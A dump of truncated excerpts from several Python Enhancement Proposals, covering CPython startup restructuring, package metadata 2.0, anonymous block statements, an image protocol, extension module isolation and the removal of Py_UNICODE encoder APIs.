    <http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/413486>

..  [#ENUM-PACKAGE]
    Python Package Index, package ``enum``
    <http://cheeseshop.python.org/pypi/enum/>


Copyright
=========

This document has been placed in the public domain.


id: pep-0432.rst
content:
PEP: 432
Title: Restructuring the CPython startup sequence
Author: Alyssa Coghlan <ncoghlan@gmail.com>,
        Victor Stinner <vstinner@python.org>,
        Eric Snow <ericsnowcurrently@gmail.com>
Discussions-To: capi-sig@python.org
Status: Withdrawn
Type: Standards Track
Requires: 587
Created: 28-Dec-2012
Post-History: 28-Dec-2012, 02-Jan-2013, 30-Mar-2019, 28-Jun-2020

.. highlight:: c

PEP Withdrawal
==============

From late 2012 to mid 2020, this PEP provided general background and specific
concrete proposals for making the CPython startup sequence easier to maintain
and the CPython runtime easier to embed as part of a larger application.

For most of that time, the changes were maintained either in a separate feature
branch, or else as underscore-prefixed private APIs in the main CPython repo.

In 2019, :pep:`587` migrated a subset of those API changes to the public CPython
API for Python 3.8+ (specifically, the PEP updated the interpreter runtime to
offer an explicitly multi-stage struct-based configuration interface).

In June 2020, in response to a query from the Steering Council, the PEP authors
decided that it made sense to withdraw the original PEP, as enough has changed
since :pep:`432` was first written that we think any further changes to the
startup sequence and embedding API would be best formulated as a new PEP (or
PEPs) that take into account not only the not-yet-implemented ideas from :pep:`432`
that weren't considered sufficiently well validated to make their way into
:pep:`587`, but also any feedback on the public :pep:`587` API, and any other lessons
that have been learned while adjusting the CPython implementation to be more
embedding and subinterpreter friendly.

In particular, PEPs proposing the following changes, and any further
infrastructure changes needed to enable them, would likely still be worth
exploring:

* shipping an alternate Python executable that ignores all user level
  settings and runs in isolated mode by default, and would hence be more
  suitable for execution of system level Python applications than the default
  interpreter
* enhancing the zipapp module to support the creation of single-file executables
  from pure Python scripts (and potentially even Python extension modules, given
  the introduction of multi-phase extension module initialisation)
* migrating the complex sys.path initialisation logic from C to Python in order
  to improve test suite coverage and the general maintainability of that code


Abstract
========

This PEP proposes a mechanism for restructuring the startup sequence for
CPython, making it easier to modify the initialization behaviour of the
reference interpreter executable, as well as making it easier to control
CPython's startup behaviour when creating an alternate executable or
embedding it as a Python execution engine inside a larger application.

When implementation of this proposal is completed, interpreter startup will
consist of three clearly distinct and independently configurable phases:

* Python core runtime preinitialization

  * setting up memory management
  * determining the encodings used for system interfaces (including settings
    passed in for later configuration phase)

* Python core runtime initialization

  * ensuring C API is ready for use
  * ensuring builtin and frozen modules are accessible

* Main interpreter configuration

  * ensuring external modules are accessible
  * (Note: the name of this phase is quite likely to change)

Changes are also proposed that impact main module execution and subinterpreter
initialization.

Note: TBC = To Be Confirmed, TBD = To Be Determined. The appropriate
resolution for most of these should become clearer as the reference
implementation is developed.


Proposal
========

This PEP proposes that initialization of the CPython runtime be split into
three clearly distinct phases:

* core runtime preinitialization
* core runtime initialization
* main interpreter configuration

(Earlier versions proposed only two phases, but experience with attempting to
implement the PEP as an internal CPython refactoring showed that at least 3
phases are needed to get clear separation of concerns)

The proposed design also has significant implications for:

* main module execution
* subinterpreter initialization

In the new design, the interpreter will move through the following
well-defined phases during the initialization sequence:

* Uninitialized - haven't even started the pre-initialization phase yet
* Pre-Initialization - no interpreter available
* Runtime Initialized - main interpreter partially available,
  subinterpreter creation not yet available
* Initialized - main interpreter fully available, subinterpreter creation
  available

:pep:`587` is a more detailed proposal that covers separating out the
Pre-Initialization phase from the last two phases, but doesn't allow embedding
applications to run arbitrary code while in the "Runtime Initialized" state
(instead, initializing the core runtime will also always fully initialize the
main interpreter, as that's the way the native CPython CLI still works in
Python 3.8).

As a concrete use case to help guide any design changes, and to solve a known
problem where the appropriate defaults for system utilities differ from those
for running user scripts, this PEP proposes the creation and
distribution of a separate system Python (``system-python``) executable
which, by default, operates in "isolated mode" (as selected by the CPython
``-I`` switch), as well as the creation of an example stub binary that just
runs an appended zip archive (permitting single-file pure Python executables)
rather than going through the normal CPython startup sequence.

To keep the implementation complexity under control, this PEP does *not*
propose wholesale changes to the way the interpreter state is accessed at
runtime. Changing the order in which the existing initialization steps
occur in order to make the startup sequence easier to maintain is already a
substantial change, and attempting to make those other changes at the same time
will make the change significantly more invasive and much harder to review.
However, such proposals may be suitable topics for follow-on PEPs or patches
- one key benefit of this PEP and its related subproposals is decreasing the
coupling between the internal storage model and the configuration interface,
so such changes should be easier once this PEP has been implemented.


Background
==========

Over time, CPython's initialization sequence has become progressively more
complicated, offering more options, as well as performing more complex tasks
(such as configuring the Unicode settings for OS interfaces in Python 3 [10]_,
bootstrapping a pure Python implementation of the import system, and
implementing an isolated mode more suitable for system applications that run
with elevated privileges [6]_).

Much of this complexity is formally accessible only through the ``Py_Main``
and ``Py_Initialize`` APIs, offering embedding applications little
opportunity for customisation. This creeping complexity also makes life
difficult for maintainers, as much of the configuration needs to take
place prior to the ``Py_Initialize`` call, meaning much of the Python C
API cannot be used safely.

A number of proposals are on the table for even *more* sophisticated
startup behaviour, such as better control over ``sys.path``
initialization (e.g. easily adding additional directories on the command line
in a cross-platform fashion [7]_, controlling the configuration of
``sys.path[0]`` [8]_), easier configuration of utilities like coverage
tracing when launching Python subprocesses [9]_).

Rather than continuing to bolt such behaviour onto an already complicated
system indefinitely, this PEP proposes to start simplifying the status quo by
introducing a more structured startup sequence, with the aim of making these
further feature requests easier to implement.

Originally the entire proposal was mainta


id: pep-0426.rst
content:
PEP: 426
Title: Metadata for Python Software Packages 2.0
Author: Alyssa Coghlan <ncoghlan@gmail.com>,
        Daniel Holth <dholth@gmail.com>,
        Donald Stufft <donald@stufft.io>
BDFL-Delegate: Donald Stufft <donald@stufft.io>
Discussions-To: distutils-sig@python.org
Status: Withdrawn
Type: Informational
Topic: Packaging
Requires: 440, 508, 518
Created: 30-Aug-2012
Post-History: 14-Nov-2012, 05-Feb-2013, 07-Feb-2013, 09-Feb-2013,
              27-May-2013, 20-Jun-2013, 23-Jun-2013, 14-Jul-2013,
              21-Dec-2013
Replaces: 345
Superseded-By: 566

.. canonical-pypa-spec:: :ref:`packaging:core-metadata`

.. withdrawn::

   The ground-up metadata redesign proposed in this PEP has been withdrawn in
   favour of the more modest proposal in :pep:`566`, which retains the basic
   Key:Value format of previous metadata versions, but also defines a standardised
   mechanism for translating that format to nested JSON-compatible data structures.

   Some of the ideas in this PEP (or the related :pep:`459`) may still be considered
   as part of later proposals, but they will be handled in a more incremental
   fashion, rather than as a single large proposed change with no feasible
   migration plan.


Abstract
========

This PEP describes a mechanism for publishing and exchanging metadata
related to Python distributions. It includes specifics of the field names,
and their semantics and usage.

This document specifies the never released version 2.0 of the metadata format.

Version 1.0 is specified in :pep:`241`.
Version 1.1 is specified in :pep:`314`.
Version 1.2 is specified in :pep:`345`.

Version 2.0 of the metadata format proposed migrating from directly defining a
custom key-value file format to instead defining a JSON-compatible in-memory
representation that may be used to define metadata representation in other
contexts (such as API and archive format definitions).

This version also defines a formal extension mechanism, allowing new
fields to be added for particular purposes without requiring updates to
the core metadata format.


Note on PEP History
===================

This PEP was initially deferred for an extended period, from December 2013
through to March 2017, as distutils-sig worked through a number of other
changes. These changes included:

* defining a binary compatibility tagging format in :pep:`425`
* defining a binary archive format (``wheel``) in :pep:`427`
* explicitly defining versioning and version comparison in :pep:`440`
* explicitly defining the PyPI "simple" API in :pep:`503`
* explicitly defining dependency specifiers and the extras system in :pep:`508`
* declaring static build system dependencies (``pyproject.toml``) in :pep:`518`
* migrating PyPI hosting to Rackspace, and placing it behind the Fastly CDN
* shipping ``pip`` with CPython by default in :pep:`453`, and backporting that
  addition to Python 2.7 in :pep:`477`
* establishing `packaging.python.org`_ as the common access point for Python
  packaging ecosystem documentation
* migrating to using the `specifications`_ section of packaging.python.org
  as the central location for tracking packaging related PEPs

The time spent pursuing these changes provided additional perspective on which
metadata format changes were genuinely desirable, and which could be omitted
from the revised specification as merely being "change for change's sake".

It also allowed a number of features that aren't critical to the core activity
of publishing and distributing software to be moved out to :pep:`459`, a separate
proposal for a number of standard metadata extensions that provide additional
optional information about a release.

As of September 2017, it was deferred again, on the grounds that
it doesn't actually help solve any particularly pressing problems:

- JSON representation would be better handled through defining a
  transformation of the existing metadata 1.2 fields
- clarification of the additional fields defined in the past few
  years and related changes to the spec management process would
  be better covered in a `minor spec version update`_

.. _packaging.python.org: https://packaging.python.org/
.. _specifications: https://packaging.python.org/specifications/
.. _minor spec version update: https://mail.python.org/pipermail/distutils-sig/2017-September/031465.html

Finally, the PEP was withdrawn in February 2018 in favour of :pep:`566` (which
pursues that more incremental strategy).


Purpose
=======

The purpose of this PEP is to define a common metadata interchange format
for communication between software publication tools and software integration
tools in the Python ecosystem. One key aim is to support full dependency
analysis in that ecosystem without requiring the execution of arbitrary
Python code by those doing the analysis. Another aim is to encourage good
software distribution practices by default, while continuing to support the
current practices of almost all existing users of the Python Package Index
(both publishers and integrators). Finally, the aim is to support an upgrade
path from the currently in use metadata formats that is transparent to end
users.

The design draws on the Python community's nearly 20 years of experience with
distutils based software distribution, and incorporates ideas and concepts
from other distribution systems, including Python's setuptools, pip and
other projects, Ruby's gems, Perl's CPAN, Node.js's npm, PHP's composer
and Linux packaging systems such as RPM and APT.

While the specifics of this format are aimed at the Python ecosystem, some
of the ideas may also be useful in the future evolution of other dependency
management ecosystems.


Development, Distribution and Deployment of Python Software
===========================================================

The metadata design in this PEP is based on a particular conceptual model
of the software development and distribution process. This model consists of
the following phases:

* Software development: this phase involves working with a source checkout
  for a particular application to add features and fix bugs. It is
  expected that developers in this phase will need to be able to build the
  software, run the software's automated test suite, run project specific
  utility scripts and publish the software.

* Software publication: this phase involves taking the developed software
  and making it available for use by software integrators. This includes
  creating the descriptive metadata defined in this PEP, as well as making
  the software available (typically by uploading it to an index server).

* Software integration: this phase involves taking published software
  components and combining them into a coherent, integrated system. This
  may be done directly using Python specific cross-platform tools, or it may
  be handled through conversion to development language neutral platform
  specific packaging systems.

* Software deployment: this phase involves taking integrated software
  components and deploying them on to the target system where the software
  will actually execute.

The publication and integration phases are collectively referred to as
the distribution phase, and the individual software components distributed
in that phase are formally referred to as "distribution packages", but are more
colloquially known as just "packages" (relying on context to disambiguate them
from the "module with submodules" kind of Python package).

The exact details of these phases will vary greatly for particular use cases.
Deploying a web application to a public Platform-as-a-Service provider,
publishing a new release of a web framework or scientific library,
creating an integrated Linux distribution, or upgrading a custom application
running in a secure enclave are all situations this metadata design should
be able to handle.

The complexity of the metadata described in this PEP thus arises directly
from the actual complexities associated with software development,
distributio


id: pep-0340.rst
content:
PEP: 340
Title: Anonymous Block Statements
Author: Guido van Rossum
Status: Rejected
Type: Standards Track
Created: 27-Apr-2005
Post-History:

Introduction
============

This PEP proposes a new type of compound statement which can be
used for resource management purposes.  The new statement type
is provisionally called the block-statement because the keyword
to be used has not yet been chosen.

This PEP competes with several other PEPs: :pep:`288` (Generators
Attributes and Exceptions; only the second part), :pep:`310`
(Reliable Acquisition/Release Pairs), and :pep:`325`
(Resource-Release Support for Generators).

I should clarify that using a generator to "drive" a block
statement is really a separable proposal; with just the definition
of the block statement from the PEP you could implement all the
examples using a class (similar to example 6, which is easily
turned into a template).  But the key idea is using a generator to
drive a block statement; the rest is elaboration, so I'd like to
keep these two parts together.

(:pep:`342`, Enhanced Iterators, was originally a part of this PEP;
but the two proposals are really independent and with Steven
Bethard's help I have moved it to a separate PEP.)

Rejection Notice
================

I am rejecting this PEP in favor of :pep:`343`.  See the motivational
section in that PEP for the reasoning behind this rejection.  GvR.

Motivation and Summary
======================

(Thanks to Shane Hathaway -- Hi Shane!)

Good programmers move commonly used code into reusable functions.
Sometimes, however, patterns arise in the structure of the
functions rather than the actual sequence of statements.  For
example, many functions acquire a lock, execute some code specific
to that function, and unconditionally release the lock.  Repeating
the locking code in every function that uses it is error prone and
makes refactoring difficult.

Block statements provide a mechanism for encapsulating patterns of
structure.  Code inside the block statement runs under the control
of an object called a block iterator.  Simple block iterators
execute code before and after the code inside the block statement.
Block iterators also have the opportunity to execute the
controlled code more than once (or not at all), catch exceptions,
or receive data from the body of the block statement.

A convenient way to write block iterators is to write a generator
(:pep:`255`).  A generator looks a lot like a Python function, but
instead of returning a value immediately, generators pause their
execution at "yield" statements.  When a generator is used as a
block iterator, the yield statement tells the Python interpreter
to suspend the block iterator, execute the block statement body,
and resume the block iterator when the body has executed.

The Python interpreter behaves as follows when it encounters a
block statement based on a generator.  First, the interpreter
instantiates the generator and begins executing it.  The generator
does setup work appropriate to the pattern it encapsulates, such
as acquiring a lock, opening a file, starting a database
transaction, or starting a loop.  Then the generator yields
execution to the body of the block statement using a yield
statement.  When the block statement body completes, raises an
uncaught exception, or sends data back to the generator using a
continue statement, the generator resumes.  At this point, the
generator can either clean up and stop or yield again, causing the
block statement body to execute again.  When the generator
finishes, the interpreter leaves the block statement.

Use Cases
=========

See the Examples section near the end.

Specification: the __exit__() Method
====================================

An optional new method for iterators is proposed, called
``__exit__()``.  It takes up to three arguments which correspond to
the three "arguments" to the raise-statement: type, value, and
traceback.  If all three arguments are ``None``, ``sys.exc_info()`` may be
consulted to provide suitable default values.

Specification: the Anonymous Block Statement
============================================

A new statement is proposed with the syntax::

    block EXPR1 as VAR1:
        BLOCK1

Here, 'block' and 'as' are new keywords; ``EXPR1`` is an arbitrary
expression (but not an expression-list) and ``VAR1`` is an arbitrary
assignment target (which may be a comma-separated list).

The "as VAR1" part is optional; if omitted, the assignments to
VAR1 in the translation below are omitted (but the expressions
assigned are still evaluated!).

The choice of the 'block' keyword is contentious; many
alternatives have been proposed, including not to use a keyword at
all (which I actually like).  :pep:`310` uses 'with' for similar
semantics, but I would like to reserve that for a with-statement
similar to the one found in Pascal and VB.  (Though I just found
that the C# designers don't like 'with' [2]_, and I have to agree
with their reasoning.)  To sidestep this issue momentarily I'm
using 'block' until we can agree on the right keyword, if any.

Note that the 'as' keyword is not contentious (it will finally be
elevated to proper keyword status).

Note that it is up to the iterator to decide whether a
block-statement represents a loop with multiple iterations; in the
most common use case ``BLOCK1`` is executed exactly once.  To the
parser, however, it is always a loop; break and continue return
transfer to the block's iterator (see below for details).

The translation is subtly different from a for-loop: ``iter()`` is
not called, so ``EXPR1`` should already be an iterator (not just an
iterable); and the iterator is guaranteed to be notified when
the block-statement is left, regardless if this is due to a
break, return or exception::

    itr = EXPR1  # The iterator
    ret = False  # True if a return statement is active
    val = None   # Return value, if ret == True
    exc = None   # sys.exc_info() tuple if an exception is active
    while True:
        try:
            if exc:
                ext = getattr(itr, "__exit__", None)
                if ext is not None:
                    VAR1 = ext(*exc)   # May re-raise *exc
                else:
                    raise exc[0], exc[1], exc[2]
            else:
                VAR1 = itr.next()  # May raise StopIteration
        except StopIteration:
            if ret:
                return val
            break
        try:
            ret = False
            val = exc = None
            BLOCK1
        except:
            exc = sys.exc_info()

(However, the variables 'itr' etc. are not user-visible and the
built-in names used cannot be overridden by the user.)

Inside ``BLOCK1``, the following special translations apply:

- "break" is always legal; it is translated into::

    exc = (StopIteration, None, None)
    continue

- "return EXPR3" is only legal when the block-statement is
  contained in a function definition; it is translated into::

    exc = (StopIteration, None, None)
    ret = True
    val = EXPR3
    continue

The net effect is that break and return behave much the same as
if the block-statement were a for-loop, except that the iterator
gets a chance at resource cleanup before the block-statement is
left, through the optional ``__exit__()`` method. The iterator also
gets a chance if the block-statement is left through raising an
exception.  If the iterator doesn't have an ``__exit__()`` method,
there is no difference with a for-loop (except that a for-loop
calls ``iter()`` on ``EXPR1``).

Note that a yield-statement in a block-statement is not treated
differently.  It suspends the function containing the block
**without** notifying the block's iterator.  The block's iterator is
entirely unaware of this yield, since the local control flow
doesn't actually leave the block.  In other words, it is **not**
like a break or return statement.  When the loop that was resumed
by the yield calls ``next()``, the block is resumed right after the
yield.


id: pep-0368.rst
content:
PEP: 368
Title: Standard image protocol and class
Author: Lino Mastrodomenico <l.mastrodomenico@gmail.com>
Status: Deferred
Type: Standards Track
Created: 28-Jun-2007
Python-Version: 2.6, 3.0
Post-History:


Abstract
========

The current situation of image storage and manipulation in the Python
world is extremely fragmented: almost every library that uses image
objects has implemented its own image class, incompatible with
everyone else's and often not very pythonic.  A basic RGB image class
exists in the standard library (``Tkinter.PhotoImage``), but is pretty
much unusable, and unused, for anything except Tkinter programming.

This fragmentation not only takes up valuable space in the developers
minds, but also makes the exchange of images between different
libraries (needed in relatively common use cases) slower and more
complex than it needs to be.

This PEP proposes to improve the situation by defining a simple and
pythonic image protocol/interface that can be hopefully accepted and
implemented by existing image classes inside and outside the standard
library *without breaking backward compatibility* with their existing
user bases.  In practice this is a definition of how a minimal
*image-like* object should look and act (in a similar way to the
``read()`` and ``write()`` methods in *file-like* objects).

The inclusion in the standard library of a class that provides basic
image manipulation functionality and implements the new protocol is
also proposed, together with a mixin class that helps adding support
for the protocol to existing image classes.

PEP Deferral
============

Further exploration of the concepts covered in this PEP has been deferred
for lack of a current champion interested in promoting the goals of the PEP
and collecting and incorporating feedback, and with sufficient available
time to do so effectively.

Rationale
=========

A good way to have high quality modules ready for inclusion in the
Python standard library is to simply wait for natural selection among
competing external libraries to provide a clear winner with useful
functionality and a big user base.  Then the de facto standard can be
officially sanctioned by including it in the standard library.

Unfortunately this approach hasn't worked well for the creation of a
dominant image class in the Python world: almost every third-party
library that requires an image object creates its own class
incompatible with the ones from other libraries.  This is a real
problem because it's entirely reasonable for a program to create and
manipulate an image using, e.g., PIL (the Python Imaging Library) and
then display it using wxPython or pygame.  But these libraries have
different and incompatible image classes, and the usual solution is to
manually "export" an image from the source to a (width, height,
bytes_string) tuple and "import" it creating a new instance in the
target format.  This approach *works*, but is both uglier and slower
than it needs to be.

Another "solution" that has been sometimes used is the creation of
specific adapters and/or converters from a class to another (e.g. PIL
offers the ``ImageTk`` module for converting PIL images to a class
compatible with the Tkinter one).  But this approach doesn't scale
well with the number of libraries involved and it's still annoying for
the user: if I have a perfectly good image object why should I convert
before passing it to the next method, why can't it simply accept my
image as-is?

The problem isn't by any stretch limited to the three mentioned
libraries and has probably multiple causes, including two that IMO are
very important to understand before solving it:

* in today's computing world an image is a basic type not strictly
  tied to a specific domain.  This is why there will never be a clear
  winner between the image classes from the three libraries mentioned
  above (PIL, wxPython and pygame): they cover different domains and
  don't really compete with each other;

* the Python standard library has never provided a good image class
  that can be adopted or imitated by third part modules.
  ``Tkinter.PhotoImage`` provides basic RGB functionality, but it's by
  far the slowest and ugliest of the bunch and it can be instantiated
  only after the Tkinter root window has been created.

This PEP tries to improve this situation in four ways:

1. It defines a simple and pythonic image protocol/interface (both on
   the Python and the C side) that can be hopefully accepted and
   implemented by existing image classes inside and outside the
   standard library *without breaking backward compatibility* with
   their existing user bases.

2. It proposes the inclusion in the standard library of three new
   classes:

   * ``ImageMixin`` provides almost everything necessary to implement
     the new protocol; its main purpose is to make as simple as
     possible to support this interface for existing libraries, in
     some cases as simple as adding it to the list of base classes and
     doing minor additions to the constructor.

   * ``Image`` is a subclass of ``ImageMixin`` and will add a
     constructor that can resize and/or convert an image between
     different pixel formats.  This is intended to provide a fast and
     efficient default implementation of the new protocol.

   * ``ImageSize`` is a minor helper class.  See below for details.

3. ``Tkinter.PhotoImage`` will implement the new protocol (mostly
   through the ``ImageMixin`` class) and all the Tkinter methods that
   can receive an image will be modified the accept any object that
   implements the interface.  As an aside the author of this PEP will
   collaborate with the developers of the most common external
   libraries to achieve the same goal (supporting the protocol in
   their classes and accepting any class that implements it).

4. New ``PyImage_*`` functions will be added to the CPython C API:
   they implement the C side of the protocol and accept as first
   parameter **any** object that supports it, even if it isn't an
   instance of the ``Image``/``ImageMixin`` classes.

The main effects for the end user will be a simplification of the
interchange of images between different libraries (if everything goes
well, any Python library will accept images from any other library)
and the out-of-the-box availability of the new ``Image`` class.  The
new class is intended to cover simple but common use cases like
cropping and/or resizing a photograph to the desired size and passing
it an appropriate widget for displaying it on a window, or darkening a
texture and passing it to a 3D library.

The ``Image`` class is not intended to replace or compete with PIL,
Pythonmagick or NumPy, even if it provides a (very small) subset of
the functionality of these three libraries.  In particular PIL offers
very rich image manipulation features with *dozens* of classes,
filters, transformations and file formats.  The inclusion of PIL (or
something similar) in the standard library may, or may not, be a
worthy goal but it's completely outside the scope of this PEP.


Specification
=============

The ``imageop`` module is used as the *default* location for the new
classes and objects because it has for a long time hosted functions
that provided a somewhat similar functionality, but a new module may
be created if preferred (e.g. a new "``image``" or "``media``" module;
the latter may eventually include other multimedia classes).

``MODES`` is a new module level constant: it is a set of the pixel
formats supported by the ``Image`` class.  Any image object that
implements the new protocol is guaranteed to be formatted in one of
these modes, but libraries that accept images are allowed to support
only a subset of them.

These modes are in turn also available as module level constants (e.g.
``imageop.RGB``).

The following table is a summary of the modes currently supported and
their properties:

========= =============== ========= =========== ======================
  Nam


id: pep-0630.rst
content:
PEP: 630
Title: Isolating Extension Modules
Author: Petr Viktorin <encukou@gmail.com>
Discussions-To: capi-sig@python.org
Status: Final
Type: Informational
Created: 25-Aug-2020
Post-History: 16-Jul-2020


.. highlight:: c

.. canonical-doc:: `Isolating Extension Modules HOWTO <https://docs.python.org/3.11/howto/isolating-extensions.html>`_

Abstract
========

Traditionally, state belonging to Python extension modules was kept in C
``static`` variables, which have process-wide scope. This document
describes problems of such per-process state and efforts to make
per-module stateâa better defaultâpossible and easy to use.

The document also describes how to switch to per-module state where
possible. This transition involves allocating space for that state, potentially
switching from static types to heap types, andâperhaps most
importantlyâaccessing per-module state from code.


About This Document
===================

As an :pep:`informational PEP <1#pep-types>`,
this document does not introduce any changes; those should be done in
their own PEPs (or issues, if small enough). Rather, it covers the
motivation behind an effort that spans multiple releases, and instructs
early adopters on how to use the finished features.

Once support is reasonably complete, this content can be moved to Python's
documentation as a `HOWTO <https://docs.python.org/3/howto/index.html>`__.
Meanwhile, in the spirit of documentation-driven development,
gaps identified in this PEP can show where to focus the effort,
and it can be updated as new features are implemented.

Whenever this PEP mentions *extension modules*, the advice also
applies to *built-in* modules.

.. note::
   This PEP contains generic advice. When following it, always take into
   account the specifics of your project.

   For example, while much of this advice applies to the C parts of
   Python's standard library, the PEP does not factor in stdlib specifics
   (unusual backward compatibility issues, access to private API, etc.).

PEPs related to this effort are:

-  :pep:`384` -- *Defining a Stable ABI*, which added a C API for creating
   heap types
-  :pep:`489` -- *Multi-phase extension module initialization*
-  :pep:`573` -- *Module State Access from C Extension Methods*

This document is concerned with Python's public C API, which is not
offered by all implementations of Python. However, nothing in this PEP is
specific to CPython.

As with any Informational PEP, this text does not necessarily represent
a Python community consensus or recommendation.


Motivation
==========

An *interpreter* is the context in which Python code runs. It contains
configuration (e.g. the import path) and runtime state (e.g. the set of
imported modules).

Python supports running multiple interpreters in one process. There are
two cases to think aboutâusers may run interpreters:

-  in sequence, with several ``Py_InitializeEx``/``Py_FinalizeEx``
   cycles, and
-  in parallel, managing "sub-interpreters" using
   ``Py_NewInterpreter``/``Py_EndInterpreter``.

Both cases (and combinations of them) would be most useful when
embedding Python within a library. Libraries generally shouldn't make
assumptions about the application that uses them, which includes
assuming a process-wide "main Python interpreter".

Currently, CPython doesn't handle this use case well. Many extension
modules (and even some stdlib modules) use *per-process* global state,
because C ``static`` variables are extremely easy to use. Thus, data
that should be specific to an interpreter ends up being shared between
interpreters. Unless the extension developer is careful, it is very easy
to introduce edge cases that lead to crashes when a module is loaded in
more than one interpreter in the same process.

Unfortunately, *per-interpreter* state is not easy to achieveâextension
authors tend to not keep multiple interpreters in mind when developing,
and it is currently cumbersome to test the behavior.


Rationale for Per-module State
==============================

Instead of focusing on per-interpreter state, Python's C API is evolving
to better support the more granular *per-module* state. By default,
C-level data will be attached to a *module object*. Each interpreter
will then create its own module object, keeping the data separate. For
testing the isolation, multiple module objects corresponding to a single
extension can even be loaded in a single interpreter.

Per-module state provides an easy way to think about lifetime and
resource ownership: the extension module will initialize when a
module object is created, and clean up when it's freed. In this regard,
a module is just like any other ``PyObject *``; there are no "on
interpreter shutdown" hooks to thinkâor forgetâabout.


Goal: Easy-to-Use Module State
------------------------------

It is currently cumbersome or impossible to do everything the C API
offers while keeping modules isolated. Enabled by :pep:`384`, changes in
:pep:`489` and :pep:`573` (and future planned ones) aim to first make it
*possible* to build modules this way, and then to make it *easy* to
write new modules this way and to convert old ones, so that it can
become a natural default.

Even if per-module state becomes the default, there will be use cases
for different levels of encapsulation: per-process, per-interpreter,
per-thread or per-task state. The goal is to treat these as exceptional
cases: they should be possible, but extension authors will need to
think more carefully about them.


Non-goals: Speedups and the GIL
-------------------------------

There is some effort to speed up CPython on multi-core CPUs by making the GIL
per-interpreter. While isolating interpreters helps that effort,
defaulting to per-module state will be beneficial even if no speedup is
achieved, as it makes supporting multiple interpreters safer by default.


Making Modules Safe with Multiple Interpreters
==============================================

There are many ways to correctly support multiple interpreters in
extension modules. The rest of this text describes the preferred way to
write such a module, or to convert an existing one.

Note that support is a work in progress; the API for some features your
module needs might not yet be ready.

A full example module is available as
`xxlimited <https://github.com/python/cpython/blob/master/Modules/xxlimited.c>`__.

This section assumes that "*you*" are an extension module author.


Isolated Module Objects
-----------------------

The key point to keep in mind when developing an extension module is
that several module objects can be created from a single shared library.
For example:

.. code-block:: pycon

   >>> import sys
   >>> import binascii
   >>> old_binascii = binascii
   >>> del sys.modules['binascii']
   >>> import binascii  # create a new module object
   >>> old_binascii == binascii
   False

As a rule of thumb, the two modules should be completely independent.
All objects and state specific to the module should be encapsulated
within the module object, not shared with other module objects, and
cleaned up when the module object is deallocated. Exceptions are
possible (see `Managing Global State`_), but they will need more
thought and attention to edge cases than code that follows this rule of
thumb.

While some modules could do with less stringent restrictions, isolated
modules make it easier to set clear expectations (and guidelines) that
work across a variety of use cases.


Surprising Edge Cases
---------------------

Note that isolated modules do create some surprising edge cases. Most
notably, each module object will typically not share its classes and
exceptions with other similar modules. Continuing from the
`example above <Isolated Module Objects_>`__,
note that ``old_binascii.Error`` and ``binascii.Error`` are
separate objects. In the following code, the exception is *not* caught:

.. code-block:: pycon

   >>> old_binascii.Error == binascii.Error
   False
   >>> try:


id: pep-0624.rst
content:
PEP: 624
Title: Remove Py_UNICODE encoder APIs
Author: Inada Naoki <songofacandy@gmail.com>
Status: Final
Type: Standards Track
Created: 06-Jul-2020
Python-Version: 3.11
Post-History: 08-Jul-2020


Abstract
========

This PEP proposes to remove deprecated ``Py_UNICODE`` encoder APIs in Python 3.11:

* ``PyUnicode_Encode()``
* ``PyUnicode_EncodeASCII()``
* ``PyUnicode_EncodeLatin1()``
* ``PyUnicode_EncodeUTF7()``
* ``PyUnicode_EncodeUTF8()``
* ``PyUnicode_EncodeUTF16()``
* ``PyUnicode_EncodeUTF32()``
* ``PyUnicode_EncodeUnicodeEscape()``
* ``PyUnicode_EncodeRawUnicodeEscape()``
* ``PyUnicode_EncodeCharmap()``
* ``PyUnicode_TranslateCharmap()``
* ``PyUnicode_EncodeDecimal()``
* ``PyUnicode_TransformDecimalToASCII()``

.. note::

   :pep:`623` propose to remove
   Unicode object APIs relating to ``Py_UNICODE``. On the other hand, this PEP
   is not relating to Unicode object. These PEPs are split because they have
   different motivations and need different discussions.


Motivation
==========

In general, reducing the number of APIs that have been deprecated for
a long time and have few users is a good idea for not only it
improves the maintainability of CPython, but it also helps API users
and other Python implementations.


Rationale
=========

Deprecated since Python 3.3
---------------------------

``Py_UNICODE`` and APIs using it has been deprecated since Python 3.3.


Inefficient
-----------

All of these APIs are implemented using ``PyUnicode_FromWideChar``.
So these APIs are inefficient when user want to encode Unicode
object.


Not used widely
---------------

When searching from the top 4000 PyPI packages [1]_, only pyodbc use
these APIs.

* ``PyUnicode_EncodeUTF8()``
* ``PyUnicode_EncodeUTF16()``

pyodbc uses these APIs to encode Unicode object into bytes object.
So it is easy to fix it. [2]_


Alternative APIs
================

There are alternative APIs to accept ``PyObject *unicode`` instead of
``Py_UNICODE *``. Users can migrate to them.


========================================= ==========================================
Deprecated API                            Alternative APIs
========================================= ==========================================
``PyUnicode_Encode()``                    ``PyUnicode_AsEncodedString()``
``PyUnicode_EncodeASCII()``               ``PyUnicode_AsASCIIString()`` \(1)
``PyUnicode_EncodeLatin1()``              ``PyUnicode_AsLatin1String()`` \(1)
``PyUnicode_EncodeUTF7()``                \(2)
``PyUnicode_EncodeUTF8()``                ``PyUnicode_AsUTF8String()`` \(1)
``PyUnicode_EncodeUTF16()``               ``PyUnicode_AsUTF16String()`` \(3)
``PyUnicode_EncodeUTF32()``               ``PyUnicode_AsUTF32String()`` \(3)
``PyUnicode_EncodeUnicodeEscape()``       ``PyUnicode_AsUnicodeEscapeString()``
``PyUnicode_EncodeRawUnicodeEscape()``    ``PyUnicode_AsRawUnicodeEscapeString()``
``PyUnicode_EncodeCharmap()``             ``PyUnicode_AsCharmapString()`` \(1)
``PyUnicode_TranslateCharmap()``          ``PyUnicode_Translate()``
``PyUnicode_EncodeDecimal()``              \(4)
``PyUnicode_TransformDecimalToASCII()``    \(4)
========================================= ==========================================

Notes:

(1)
   ``const char *errors`` parameter is missing.

(2)
   There is no public alternative API. But user can use generic
   ``PyUnicode_AsEncodedString()`` instead.

(3)
   ``const char *errors, int byteorder`` parameters are missing.

(4)
   There is no direct replacement. But ``Py_UNICODE_TODECIMAL``
   can be used instead. CPython uses
   ``_PyUnicode_TransformDecimalAndSpaceToASCII`` for converting
   from Unicode to numbers instead.


Plan
====

Remove these APIs in Python 3.11. They have been deprecated already.

* ``PyUnicode_Encode()``
* ``PyUnicode_EncodeASCII()``
* ``PyUnicode_EncodeLatin1()``
* ``PyUnicode_EncodeUTF7()``
* ``PyUnicode_EncodeUTF8()``
* ``PyUnicode_EncodeUTF16()``
* ``PyUnicode_EncodeUTF32()``
* ``PyUnicode_EncodeUnicodeEscape()``
